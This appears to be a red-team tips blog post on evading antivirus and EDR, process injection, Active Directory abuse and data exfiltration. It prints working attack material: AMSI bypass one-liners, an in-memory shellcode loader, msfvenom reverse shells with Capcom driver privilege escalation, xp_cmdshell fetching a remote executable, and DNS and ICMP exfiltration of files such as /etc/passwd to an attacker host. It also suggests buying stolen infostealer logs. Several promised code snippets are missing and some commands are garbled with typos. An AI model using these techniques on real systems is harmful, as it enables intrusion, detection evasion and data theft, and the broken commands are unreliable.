RedTeam Tips: Orchestrating Chaos, Evading defense

RedTeam Tips: Orchestrating Chaos, Evading defense

In the ever-evolving landscape of cybersecurity, staying ahead of adversaries requires more than just defensive strategies. It demands a deep understanding of offensive tactics and the ability to orchestrate chaos effectively while evading sophisticated defenses. In their collaborative effort, Amir Gholizadeh from Hadess and Nima Dabaghi from Nova Groups delve into the intricate art of Red Teaming, offering invaluable insights and tips for navigating the complex terrain of cybersecurity warfare.

Red Teaming isn't merely about breaching defenses; it's a strategic approach that simulates real-world cyber threats to enhance organizational resilience. Through meticulous planning, execution, and post-assessment, Red Teams aim to uncover vulnerabilities, challenge assumptions, and strengthen overall security posture. However, achieving these objectives demands more than just technical prowess; it requires a blend of creativity, adaptability, and strategic thinking.

Gholizadeh and Dabaghi bring a wealth of experience to the table, drawing from their extensive backgrounds in cybersecurity and Red Teaming. Their collaboration merges the best practices from Hadess and Nova Groups, offering readers a comprehensive guide to orchestrating chaos effectively while outmaneuvering sophisticated defenses. From reconnaissance techniques to stealthy infiltration methods, this article promises to equip cybersecurity professionals with the arsenal needed to stay one step ahead of adversaries in an increasingly hostile digital landscape.

Join us as we explore the art of Red Teaming through the expert lens of Gholizadeh and Dabaghi, uncovering the strategies, tactics, and mindset required to navigate the intricate web of cybersecurity challenges and emerge victorious in the face of adversity.

Shellcode to ASCII String

Instead of storing the shellcode directly, we will represent it as an ASCII string. This ASCII string will be saved in the system registry. Then, in our implant program, we will read the value of that registry key, convert the ASCII string back into hexadecimal format, and finally execute the shellcode.

To convert your existing shellcode into an ASCII string representation, you can use the following code snippet:

You will get an ASCII string in the output, we can put this in registry key:

In our C program, we can retrieve the shellcode from the registry using the following approach:

Once we have extracted the ASCII string from the registry, we can convert it back to the original binary shellcode format and store it in a variable called decodedShellcode.

From there, we have various options for executing the shellcode, such as creating a new thread to run it, or integrating it into your specific use case as needed.

API Tips

In the Target company where you running Redteam , you can access Sensitive Data by following the steps below:

Wmicexec Evasion

Many AV/EDRs immediately detect wmiexec from Impacket and prevent it. But it's not a problem, you can bypass all protections by combining -silentcommand, -nooutput and Invoke-WmiCommand plus create a new shell in a new process.

Exfiltration

Exfiltration is about getting important data out of the victim network without being detected.

DNS

Did you reach a system in which all the communication channels in the network seem closed? Don't worry, these systems always have DNS and you can extract data from it using the command injection blind method only through DNS:

Linux Binaries

You can exfiltrate using legitimate linux binaries that are usually installed by default.

  • wget:

  • whois

  • cancel

Nameless Excel Macro

You don't need to name the Excel macro files, you can save them with the name Draft and no extension in startup. You can also put it in

c:\users\%username%\appdata\roaming\microsoft\excel\xlsta

Let the macro run without message (because this directory is inherently a safe place)

Hide Malware Using Volume Shadow Copy

Usermode Hook Bypass

Most AV/EDR products hook WINAPI functions in user mode and some of them hook in kernel mode using drivers as well. But one of the ways to bypass the user mode hooking is to use the function’s NTAPI equivalent:

Process Instrumentation Callback

Process Instrumentation Callback is defined as the ProcessInstrumentationCallback flag (0x40) and is used by security products to detect potential direct syscall invocation by registering a callback to check if the syscall instruction comes from the executable image and not NTDLL. To bypass it for our process we just have to set it to NULL:

Overpass-the-Hash

26- We can use Rubeus/impacket to implement a technique called Overpass-the-Hash. In this technique, instead of passing the hash directly (another technique called Pass-the-Hash), we use the NTHash of an account to request a valid Kerberos ticket (TGT). We can then use this ticket to authenticate the domain as the target user:

Reconnaissance

One of the most important stages of redteaming is reconnaissance and identification. In this phase, the red team must gather all the information it can about its target(s). This information can be acquired by:

  • Looking for social media profiles like linkedin/twitter

  • Buying/Searching through log files generated from spywares and cracked softwares that are sold in dark areas of the net.

  • Gathering subdomains

  • Getting connected with the target(s)’s employees

  • ..

Process Injections

There are many variants of process injection and you may use one based on your needs and the security that is in place in the environment.

Local Code Injection

The most basic and the first process injection that anyone should know about, is local code injection. In this injection, we allocate a local memory in our process, copy the shellcode in it and create a local thread to execute it in our own controlled process.

DLL Injection

This technique and its variants are widely used in game hacking, EDRs, hooking etc. In this technique instead of using a shellcode, we create a malicious DLL and load it in the target process.

Remote Thread Injection

In this technique, we get a handle to a remote process, allocate memory in it, copy our shellcode to the allocated memory and create a thread to execute it.

Thread Hijacking

In thread hijacking, instead of creating a thread, we hijack an existing one, suspend it, and change its rip/eip register to point to our shellcode and then resume it to execute the code we injected into it.

Classic APC

APC is used to asynchronously do multiple tasks at the same time. In this process injection technique, we allocate a memory and then copy the shellcode in it, then either create a suspended thread or hijack an existing one and pass it to APC queue. The difference between creating a suspended thread and hijacking an existing one is that when we create a suspended thread, and then resume it after passing it to APC queue, it immediately gets executed, whereas when we hijack an existing one, we have to wait for the thread to enter alertable state to execute the code.

Early Bird APC

Early bird APC gets its name from how it’s implemented. Instead of injecting into an existing process, we create a suspended process and then copy our payload there, then we queue its main thread and after that we resume it and it immediately gets executed without requiring our patience..

MapView Injection

In the mapview injection technique, we create a section(a region of memory) in our own process, then create a local view to be able to access that section, then copy the shellcode to it, then create a remote view in the target remote process for the local section we just created, and by doing this, the remote process can see the shellcode we copied into the section, then by creating a remote thread, we can run the shellcode in the remote process.

Binary Proxy Execution

Binary proxy execution is all about finding a legitimate binary whether in windows or linux, and to abuse its features to run an illegitimate binary. And by doing this the illegitimate binary gets executed as a child of the legitimate binary resulting in evasion.

  • bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset

  • explorer.exe /root,"C:\Windows\System32\calc.exe"

  • Msconfig.exe -5

This binary executes command embedded in c:\windows\system32\mscfgtlc.xml.

  • msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"

  • wt.exe calc.exe

  • ..

There are many other binaries that can be abused and many of them are listed in https://lolbas-project.github.io for windows and https://gtfobins.github.io/ for linux.

Active Directory Reversible Encryption

When a user has AllowReversiblePasswordEncryption property enabled which is disabled by default, the encrypted password can be decrypted back to its plaintext form since it’s no longer a hash. During a DCSync attack, the user’s password reverts back to plaintext when the property is enabled for it.

To check which users have the property enabled:

Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq "true"} | Select Name, sAMAccountName

After that if you can use DCSync:

Invoke-DCSync -AllData

And the user’s password will be shown to you in cleartext.

RPC

RPC is a service that helps manage and maintain communication between different components. Now if you have a credential that happens to work on RPC, you can query all sorts of things through it. To connect to RPC you can use rpcclient in Linux.

rpcclient -U “<user>/<domain>@<IP>”

Now if you don’t have any credential, you can try logging in without one:

rpcclient -N -U “” <ip>

After getting in you can query:

  • Users: enumdomusers

  • User query: queryuser <username>

  • Groups: enumdomgroups

  • Group query: querygroup <RID>

  • Domain password information: getdompwinfo

You can also create a user using RPC:

createdomuser <username>

setuserinfo2 <username> <level> <password>

Privilege Escalation with LDAP

To enable ssh using ldap

0. exec ldapmodify -x -w PASSWORD
1. Paste this
dn: cn=openssh-lpk,cn=schema,cn=config
objectClass: olcSchemaConfig
cn: openssh-lpk
olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey'
   DESC 'MANDATORY: OpenSSH Public key'
   EQUALITY octetStringMatch
   SYNTAX 1.3.6.1.4.1.1466.115.121.1.40)
olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' SUP top AUXILIARY
   DESC 'MANDATORY: OpenSSH LPK objectclass'
   MAY ( sshPublicKey $ uid )
   )

To improve access to the desired user and user group

2. exec ldapmodify -x -w PASSWORD
3. Paste this
dn: uid=UID,ou=users,ou=linux,ou=servers,dc=DC,dc=DC
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: content of id_rsa.pub
-
replace: EVIL GROUP ID
uidNumber: CURRENT USER ID
-
replace: EVIL USER ID
gidNumber: CURRENT GROUP ID

Elevate access with the SeLoadDriverPrivilege permission

FIRST:
Download https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
Download https://raw.githubusercontent.com/TarlogicSecurity/EoPLoadDriver/master/eoploaddriver.cpp
Download https://github.com/tandasat/ExploitCapcom
change ExploitCapcom.cpp line 292
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
to
TCHAR CommandLine[] = TEXT("C:\\test\\shell.exe");
then compile ExploitCapcom.cpp and eoploaddriver.cpp to .exe

SECOND:
1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe > shell.exe
2. .\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
3. .\ExploitCapcom.exe
4. in msf exec `run`

Upgrade access with TRUSTWORTHY database in SQL Server

1. . .\PowerUpSQL.ps1
2. Get-SQLInstanceLocal -Verbose
3. (Get-SQLServerLinkCrawl -Verbos -Instance "10.10.10.10" -Query 'select * from master..sysservers').customer.query
4. 
USE "master";
SELECT *, SCHEMA_NAME("schema_id") AS 'schema' FROM "master"."sys"."objects" WHERE "type" IN ('P', 'U', 'V', 'TR', 'FN', 'TF, 'IF');
execute('sp_configure "xp_cmdshell",1;RECONFIGURE') at "<DOMAIN>\<DATABASE NAME>"
5. powershell -ep bypass
6. Import-Module .\powercat.ps1
7. powercat -l -v -p 443 -t 10000
8.
SELECT *, SCHEMA_NAME("schema_id") AS 'schema' FROM "master"."sys"."objects" WHERE "type" IN ('P', 'U', 'V', 'TR', 'FN', 'TF, 'IF');
execute('sp_configure "xp_cmdshell",1;RECONFIGURE') at "<DOMAIN>\<DATABASE NAME>" 
execute('exec master..xp_cmdshell "\\10.10.10.10\reverse.exe"') at "<DOMAIN>\<DATABASE NAME>"

Payload development in smb or webdav

Via SMB:
1. From the compromised machine, share the payload folder
2. Set sharing to 'Everyone'
3. Use psexec or wmic command to remotely execute payload

Via WebDAV:
1. Launch Metasploit 'webdav file server' module
2. Set the following options:
     localexe = true
     localfile= payload
     localroot= payload directory
     disablePayloadHandler=true
3. Use psexec or wmic command to remotely execute payload
     psexec \\ remote ip /u domain\compromised_user /p password "\\payload
     ip \test\msf.exe"

OR -
wmic /node: remote ip /user:domain\compromised user //password:password
process call create "\\ payload ip \test\msf.exe"

amsi one line bypass

  1. Byte array: This method involves converting malicious code into a byte array, which bypasses AMSI inspection.
$script = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABzAGUAcwB0AD0AIgBQAG8AdwBlAHIAcwBoAG8AcgBvAGYAIABjAG8AbgBzAGkAbwBuAHQAIABsAG8AbwAgACgAWwBJAF0AXQA6ADoARgBvAHIAbQBhAHQAZQByACkAIgA='))
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
for ($i = 0; $i -lt $bytes.Length; $i++) {
    if (($bytes[$i] -eq 0x41) -and ($bytes[$i+1] -eq 0x6D) -and ($bytes[$i+2] -eq 0x73) -and ($bytes[$i+3] -eq 0x69)) {
        $bytes[$i+0] = 0x42; $bytes[$i+1] = 0x6D; $bytes[$i+2] = 0x73; $bytes[$i+3] = 0x69
    }
}
[System.Reflection.Assembly]::Load($bytes)
  1. Reflection: This method involves using .NET reflection to invoke a method that is not inspected by AMSI.
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)

or

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  1. String obfuscation: This method involves obfuscating the malicious code to evade AMSI detection.

  2. AMSI patching: This method involves patching AMSI to bypass the inspection entirely.

  3. Using alternative PowerShell hosts: This method involves using alternative PowerShell hosts that don’t load AMSI modules.

Byte-patching:

Add-Type -MemberDefinition '
[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);
' -Namespace Win32
$shellcode = [System.Text.Encoding]::UTF8.GetBytes('MY_SHELLCODE_HERE')
$mem = [Win32]::VirtualAlloc(0, $shellcode.Length, 0x1000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, [System.IntPtr]($mem), $shellcode.Length)
$thread = [Win32]::CreateThread(0, 0, $mem, 0, 0, 0)

Transfer Dns in Linux

On victim:
1. Hex encode the file to be transferred
    xxd -p secret file.hex
2. Read in each line and do a DNS lookup
    forb in 'cat fole.hex'; do dig $b.shell.evilexample.com; done

Attacker:
1. Capture DNS exfil packets
    tcdpump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet
    tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d'
    cut -f1 -d'.' | uniq received. txt
3. Reverse the hex encoding
    xxd -r -p received~.txt kefS.pgp

Execute the exfil command and transfer its information with icmp

On victim (never ending 1 liner):
     stringz=cat /etc/passwd | od -tx1 | cut -c8- | tr -d " " | tr -d "\n";
counter=0; while (($counter = ${#stringZ})) ;do ping -s 16 -c l -p
${stringZ:$counter:16} 192.168.10.10 &&
counter=$( (counter+~6)) ; done

On attacker (capture pac~ets to data.dmp and parse):
tcpdump -ntvvSxs 0 'icmp[0]=8' data.dmp
grep Ox0020 data.dmp | cut -c21- | tr -d " " | tr -d "\n" | xxd -r -p